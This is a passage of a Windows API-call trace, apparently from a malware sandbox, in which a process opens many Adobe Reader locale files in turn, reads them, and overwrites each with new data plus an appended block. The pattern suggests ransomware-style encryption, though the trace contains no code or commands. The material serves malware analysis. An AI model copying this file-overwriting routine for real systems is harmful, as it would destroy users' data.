11 [0041.281] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.297] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1800 [0041.297] ReadFile (in: hFile=0x184, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.297] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1800 [0041.297] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.298] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0041.298] WriteFile (in: hFile=0x184, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.298] CloseHandle (hObject=0x184) returned 1 [0041.298] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\eBook.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\ebook.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.298] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.298] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1a00 [0041.298] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.298] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.298] ReleaseMutex (hMutex=0x128) returned 1 [0041.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.TUR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.TUR", cchWideChar=9, lpMultiByteStr=0x1e631cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.TUR", lpUsedDefaultChar=0x0) returned 9 [0041.298] ReadFile (in: hFile=0x184, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x32cf2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0041.320] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0041.320] WriteFile (in: hFile=0x184, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x32cf2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0041.320] CloseHandle (hObject=0x184) returned 1 [0041.320] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\SaveAsRTF.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\saveasrtf.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.321] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.321] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x4600 [0041.321] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.321] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.321] ReleaseMutex (hMutex=0x128) returned 1 [0041.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.TUR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.TUR", cchWideChar=13, lpMultiByteStr=0x1e633ac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.TUR", lpUsedDefaultChar=0x0) returned 13 [0041.321] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.335] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3600 [0041.336] ReadFile (in: hFile=0x184, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.336] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3600 [0041.336] WriteFile (in: hFile=0x184, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.336] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0041.336] WriteFile (in: hFile=0x184, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.336] CloseHandle (hObject=0x184) returned 1 [0041.336] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\AdobeCollabSync.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\adobecollabsync.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.336] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.336] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1a00 [0041.336] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.337] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.337] ReleaseMutex (hMutex=0x128) returned 1 [0041.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.UKR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0041.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.UKR", cchWideChar=19, lpMultiByteStr=0x1e789ec, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.UKR", lpUsedDefaultChar=0x0) returned 19 [0041.337] ReadFile (in: hFile=0x184, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x32cf2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0041.350] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0041.351] WriteFile (in: hFile=0x184, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x32cf2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0041.351] CloseHandle (hObject=0x184) returned 1 [0041.351] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Multimedia.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\multimedia.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.351] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.351] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x13a00 [0041.351] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.351] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.352] ReleaseMutex (hMutex=0x128) returned 1 [0041.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.UKR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.UKR", cchWideChar=14, lpMultiByteStr=0x1e6320c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.UKR", lpUsedDefaultChar=0x0) returned 14 [0041.352] ReadFile (in: hFile=0x184, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0041.368] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x12a00 [0041.368] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.369] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x12a00 [0041.369] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.370] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0041.370] WriteFile (in: hFile=0x184, lpBuffer=0x2809d28*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2809d28*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.370] CloseHandle (hObject=0x184) returned 1 [0041.370] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.370] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.370] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x108 [0041.371] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.371] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.371] ReleaseMutex (hMutex=0x128) returned 1 [0041.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6322c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0041.371] ReadFile (in: hFile=0x184, lpBuffer=0x25fa728, nNumberOfBytesToRead=0x108, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa728*, lpNumberOfBytesRead=0x32cf2bc*=0x108, lpOverlapped=0x0) returned 1 [0041.372] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0041.372] WriteFile (in: hFile=0x184, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x690, lpOverlapped=0x0) returned 1 [0041.372] CloseHandle (hObject=0x184) returned 1 [0041.372] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\DigSig.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\digsig.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.373] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.373] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x11e00 [0041.373] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.373] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.373] ReleaseMutex (hMutex=0x128) returned 1 [0041.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHS", cchWideChar=10, lpMultiByteStr=0x1e6306c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CHS", lpUsedDefaultChar=0x0) returned 10 [0041.373] ReadFile (in: hFile=0x184, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0041.395] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x10e00 [0041.396] ReadFile (in: hFile=0x184, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.396] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x10e00 [0041.396] WriteFile (in: hFile=0x184, lpBuffer=0x280dd58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x280dd58*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.397] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0041.397] WriteFile (in: hFile=0x184, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.397] CloseHandle (hObject=0x184) returned 1 [0041.397] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\ReadOutLoud.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\readoutloud.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.397] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.397] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2200 [0041.397] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.397] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.397] ReleaseMutex (hMutex=0x128) returned 1 [0041.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHS", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHS", cchWideChar=15, lpMultiByteStr=0x1e6324c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CHS", lpUsedDefaultChar=0x0) returned 15 [0041.398] ReadFile (in: hFile=0x184, lpBuffer=0x280dd58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x280dd58*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.612] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1200 [0041.612] ReadFile (in: hFile=0x184, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.625] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1200 [0041.625] WriteFile (in: hFile=0x184, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.625] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0041.626] WriteFile (in: hFile=0x184, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.626] CloseHandle (hObject=0x184) returned 1 [0041.626] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\accessibility.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\accessibility.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.628] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.628] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6e00 [0041.628] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.628] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.628] ReleaseMutex (hMutex=0x128) returned 1 [0041.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHT", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0041.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHT", cchWideChar=17, lpMultiByteStr=0x1e78b04, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CHT", lpUsedDefaultChar=0x0) returned 17 [0041.628] ReadFile (in: hFile=0x184, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.631] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5e00 [0041.631] ReadFile (in: hFile=0x184, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.637] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5e00 [0041.637] WriteFile (in: hFile=0x184, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.638] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0041.638] WriteFile (in: hFile=0x184, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.638] CloseHandle (hObject=0x184) returned 1 [0041.638] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\IA32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\ia32.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, 